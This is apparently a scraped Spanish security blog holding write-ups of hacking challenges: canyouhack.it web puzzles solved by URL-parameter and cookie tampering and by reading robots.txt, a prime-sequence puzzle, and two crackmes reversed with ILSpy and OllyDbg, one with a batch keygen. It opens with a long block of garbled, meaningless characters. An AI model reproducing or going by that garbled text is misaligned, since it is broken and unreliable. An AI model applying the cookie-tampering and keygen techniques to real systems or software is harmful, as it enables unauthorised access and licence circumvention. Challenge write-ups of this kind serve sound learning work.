╦╓换睧灱╪╅灷晢桲╱┍灱獭批╤┊汤晭扱╰┺楱煥慪╡╓杸睵桦╶╔摭慧敯╶╁瑮汶煤╤╒摶潶睵╴╔潹穷晨╦┍瑲晰穨╣┊摧湲硵╩╳灡究煶╰╴慩穭癮╥╡批硨瑯╯╲煨止睰╣╴瑨祦橫╱┠潢瑲摸╴╉睴獳硰╢╮晲捡湯╭╴此慩湳╴╥晢歫捫╹╲穪瑩楰╨╮硩煮癱╭╥畡灵煰╺╴潤湭扮╨┠灯祲摩╰╅楢獪捨╱╸杧慶歰╷╰穮湣牴╧╬楢祮煦╭╯畣灵扣╫╲癵桪硴╪╥湦楨祤╶╲瑰汵扲╯┮歭楳獢╵╢浱橭扢╬╡敦祺祱╡╴桭畯敧╧┍牷湡桯╩┊睮穹摹╳╇湨捣睳╫╏浫煳桫╢╔海硢桵╹╏楴歺祹╯┠穲扳浹╪╓晸煰瑨╺╔穸畭杰╳╁硧牮此╢╒湪睸畩╹T

Quiere esto decir que los antivirus son inútiles?

Bueno, afirmar eso seria muy atrevido por mi parte, lo que si puedo decir es que la industria de la detección de malware debe seguir mejorando y que, de momento, va por detrás de los cibercriminales.

El futuro de esta industria esta en el deeplearning y en las redes neuronales.

Un buen ejemplo de como funcionaran en el futuro los antivirus, o al menos, deberían hacerlo bajo mi punto de vista es este script en python desarrollado por overxfl0w, el cual es capaz de predecir con gran exactitud si una muestra es potencialmente maliciosa o no tras haber sido entrenado con diferentes muestras de malware conocido.

 

 

 

 

 

 

Web based challenges 1-3 | Can you hack it

Hace tiempo que no subo nada, estoy un poco liado ultimamente, pero bueno, hoy me dio por entrar en canyouhack.it y estuve resolviendo algunas cosillas para escalar un poco en el ranking, actualmente voy por el puesto 1175 de 8859. Pero bueno, al lio, vamos a hacer los tres primeros desafios relacionados con webs.

El primero

Can you GET this one?

Nos manda a una web con ese mensaje.

0e0e0174a12e8978d090eccd490772a6

Dado que la URL de la web es la siguiente:

http://canyouhack.it/Content/Challenges/Web/Web1.php?Page=Guest

Ya que el mensaje nos da la bienvenida como desconocido, y en la URL nos identifica como desconocido, y lo que nos pide la web es una contraseña, usando el sentido comun simplemente sustituimos Guest por Admin.

http://canyouhack.it/Content/Challenges/Web/Web1.php?Page=Admin

El primero terminado. Facilito.

En el segundo la cosa ya se pone algo mas interesante, que no complicada.

The way this challenge crumbles

 d0b737e6a43fd34b74739c07fe8e2024
Basicamente nos dicen que para mejorar su seguridad ahora gestionan las sesiones con cookies a traves del metodo GET.
Para superar esta dificultad usaremos un plugin para Mozilla Firefox, Live HTTP Headers, con esto podemos modificar las cabeceras de los paquetes que se generan al interactuar en la web.
74f854aa99ca2235b9f77093b5b2e0a5
La linea remarcada es la que nos interesa, damos a repetir y modificamos el parametro isAdmin de 0 a 1, de este modo el sistema reconocera nuestra sesion como la del administrador. Parece una tonteria, pero hay webs en las que esto es 100% eficaz.
Nos quedatia asi:
0a204850bf0846ed84d5601d3e808c50
Y le damos a repetir, de nuevo.
Vamos a por el tercero

Take us to your leader

6b526ab0ce501641fdad86e2ddc166311
Observamos que nos repite la palabra Robots varias veces, demasiadas, esa es la pista.
Si alguna vez hemos trabajado en desarrollo web sabemos que toda web tiene un archivo llamado robots.txt, se utiliza para interactuar con los buscadores.
Al principio probé a sustituirlo así:
Pero al final la opción correcta era
Aqui encontramos las siguientes lineas
User-agent: *
Disallow: /Content/Challenges/Web/Web3p.php

Lo que hace esta linea es indicar a los buscadores que no indexen esa URL...

Simplemente tenemos que visitarla y nos dará la tercera contraseña.

Follow the Pattern | Solucion | Logica

Buenas

Hace tiempo que resolví este reto matemático, la verdad es que me costo bastante, si no recuerdo mal me llevo mas de 4 horas resolverlo.

Nos piden un numero N de esta sucesion

  • 2
  • 3
  • 5
  • 11
  • 19
  • 41
  • 73
  • 139
  • ???

La única pista que tenemos es que el resultado que nos piden debe ser máximo 999.

En lo primero que pensé fue en la secuencia de Fibonacci por los primeros valores, pero se rompe al llegar al 11 así que lo deje ahí apartado como algo curioso.

Una observación interesante es que todos los valores son números primos, pero no están ordenados, si no que se salta X primos cada vez, tal que así:

2
3
5
7 X
11
13 X
17 X
19
23 X
29 X
31 X
37 X
41
43 X
47 X
53 X
59 X
61 X
67 X
71 X
73
79 X
83 X
89 X
97 X
101 X
103 X
107 X
109 X
113 X
127 X
131 X
137 X
139

El truco esta en los primos que se salta entre los valores que da

1,2,4,7,12

Si colocamos esa serie de esta forma apreciamos que las diferencias entre valores cumplen la secuencia de Fibonacci, al final no iba tan desencaminado al principio.

Serie:           1   2   4   7   12

Diferencias        1   2   3    5

Dado que en las diferencias de los valores primos que la serie se salta cada iteraccion podemos calcular  cual va a ser la próxima diferencia sumando los dos ultimos valores tal que

3+5=8

Ahora que tenemos el valor de la serie solo tenemos que resolver una ecuacion facil y evidente

X-12=8

X = 20

Ese 20 es el numero de primos que se va a saltar antes de llegar al valor que nos pide el reto (a partir de 139)

139
149 X
151 X
157 X
163 X
167 X
173 X
179 X
181 X
191 X
193 X
197 X
199 X
211 X
223 X
227 X
229 X
233 X
239 X
241 X
251 X
257

257 Es por tanto la solución buscada.

 

 

 

HonestGamer’s Crackme | .NET | Facil | Keygen

Hola

Hoy vamosa resolver este crackme escrito en .net, lo haremos interpretando el algoritmo de generacion de claves y desarrollaremos nuestro propio keygen.

El crackme nos pide un ID y una password tal que asi:

1

Introduciré reversecoder como ID

Ha crasheado -.-

Vamos a leernos la documentacion

=========================

The User ID should be an integer that is less than 4 digits.

The User Code should be an integer as well…

========================= 

Vale, tenemos que usar de ID un numero de 4 digitos, usare el 1337

2

Ahora si funciona, fallamos y vemos que nos dice que si queremos probar otra vez.

Empezamos con la ingenieria inversa.

Sabemos que esta escrito en .net asi que lo decompilamos con nuestro ilspy y buscamos como genera las claves. En este caso esta muy claro que debemos mirar donde dice keygen

// Crackme.Keygen
private void Generate()
{
    int num = this.UserID * 786;
    this.ValidCode = num * 17;
    num = this.ValidCode / 12;
    this.ValidCode = num + 1991;
}

Ese es el algoritmo de generacion de claves, parece facilito, vamos a analizarlo

Coge nuestro numero de ID, lo multiplica por 786 y lo almacena en num

Coge el valor de num, lo multiplica por 17 y lo almacena en this.validcode

Coge el valor de this.validcode, lo divide entre 12 y lo almacena en num

Coge el valor de num, le suma 1991 y lo almacena en this.validcode

validcode = clave final

Como dije un algoritmo muy facil.

Ahora que sabemos como funciona vamos a crear un keygen en batch por ejemplo

@echo off
color a
set/p ID=escribe tu ID=
echo password:
set/a pwd=((%ID%*786*17)/12)+1991
echo.
echo %pwd%
pause>nul

Lo probamos con 1337

3

Testeamos en el crackme:

4

Listo, resuelto.

Dejo tambien un keygen en vb 6

5

Eso es todo

Hasta la proxima.

 

 

MLGCrax’s Linch’s Premium CrackMe | BATCH | FACIL

Buenas, despues de tiempo sin escribir vuelvo con un crackme un poco raro, esta hecho en batch. crack me

Lo primero que pense al ser un crackme hecho en batch fue, sera tan simple como boton derecho editar?

Pero no, viene el archivo convertido a exe

Vamos a ver que estructura tiene

1

Pide usuario y contraseña, si hay error dice que no se activa y se cierra.

Como esta en formate .exe vamos a ver si esta empaquetado con el rdgmax

2

Nos detecta Asprotect y tambien por algun extraño motivo nos dice que esta escrito en C++, error por parte del detector.

Vamos a abrirlo en el olly para desempacarlo

3

Aqui hay algo que deberia llamarnos la atencion, empieza por un MOV DWORD, cuando en el 95% de los casos si hay compresion el codigo empieza con un push, sera otro fallo del rdgmax packer detector? Buscamos una segunda opinion con el peid 4

Parece que efectivamente el rdgmax packer detector ha fallado en esta ocasion y no esta empaquetado con asprotector ni con nada,

Vamos por tanto a ir pulsando F8 en olly a ver que es lo que hace el programita

5

En esta zona encontramos algo que quizas sea interesante, de momento solo ha habido algunas variaciones en los registros, vamos a  seguir con F8

7

Esta linea nos da informacion valiosa y voy a explicar por que

En primer lugar, y esto es algo que es facil pasarlo por alto, esa cadena

Arg1 = 0040D08D ASCII «b2eargs»

Vamos a dividirla

En primer lugar tenemos b2eIntuitivamente sabiendo que el crackme esta desarrollado en batch y que esta convertido a formato exe podemos interpretar esas tres letras del siguiente modo

Bat 2 (to) exe 

*converter

bat2exe converter

Y en segundo lugar vemos que la instruccion donde esta es un PUSH, tipico en packers como dije al principio

Por ultimo la cadena args:

Argumentos

Osea que a partir de aqui el programa empieza a leer los argumentos del archivo batch original

De este modo tiene mucho sentido las lineas de debajo

6

Mirad que interesante esa linea, pone el tipico comando en batch para que no se muestre el nombre de las instrucciones «@echo off» y tambien el titulo, puede que en siguientes instrucciones encontremos mas pistas.

00401C94 . FF35 B0E44000 PUSH DWORD PTR DS:[40E4B0] ; /Path = «C:\Users\reversecoder\AppData\Local\Temp\ED26.tmp«

Ahi vemos que el funcionamiento de este ejecutable es basicamente el siguiente:

1 Desempaqueta el archivo bat original en C:\Users\reversecoder\AppData\Local\Temp\ED26.tmp

2 Ejecuta el archivo con la informacion que tiene almacenada en los siguientes argumentos

00401D8E . 68 C5D14000 PUSH CrackMe.0040D1C5 ; |Arg1 = 0040D1C5 ASCII «b2eprogramname»

00401DD7 . 68 87D14000 PUSH CrackMe.0040D187 ; |Arg1 = 0040D187 ASCII «b2eprogramfilename»

00401E20 . 68 FFD14000 PUSH CrackMe.0040D1FF ; |Arg1 = 0040D1FF ASCII «b2eprogrampathname»

00401E59 . 68 FCD04000 PUSH CrackMe.0040D0FC ; |Arg1 = 0040D0FC ASCII «b2eprogramshortname»

00401E9F . 68 74D04000 PUSH CrackMe.0040D074 ; |Arg1 = 0040D074 ASCII «b2eincfilepath»

00401ECA . 68 32D14000 PUSH CrackMe.0040D132 ; |Arg1 = 0040D132 ASCII «b2eincfilecount»

00401EEA . 68 A4D04000 PUSH CrackMe.0040D0A4 ; |Arg1 = 0040D0A4 ASCII «b2etempfile»

Bueno ahora que sabemos donde droppea el archivo bat, vamos a ira ver como funciona

 

8

Que raro, nos esta devolviendo un archivo vacio, vamos a ejecutarlo directamente sin el olly a ver que pasa

Efectivamente de nuevo droppea en una nueva carpeta, en este caso la llama FD3.tmp

9

Ahora si tenemos el archivo buscado, tenemos el usuario y la contraseña correctos en texto plano.

Hacemos unos ligeros cambios para logearnos como reversecoder y…

0

 

Hasta la proxima.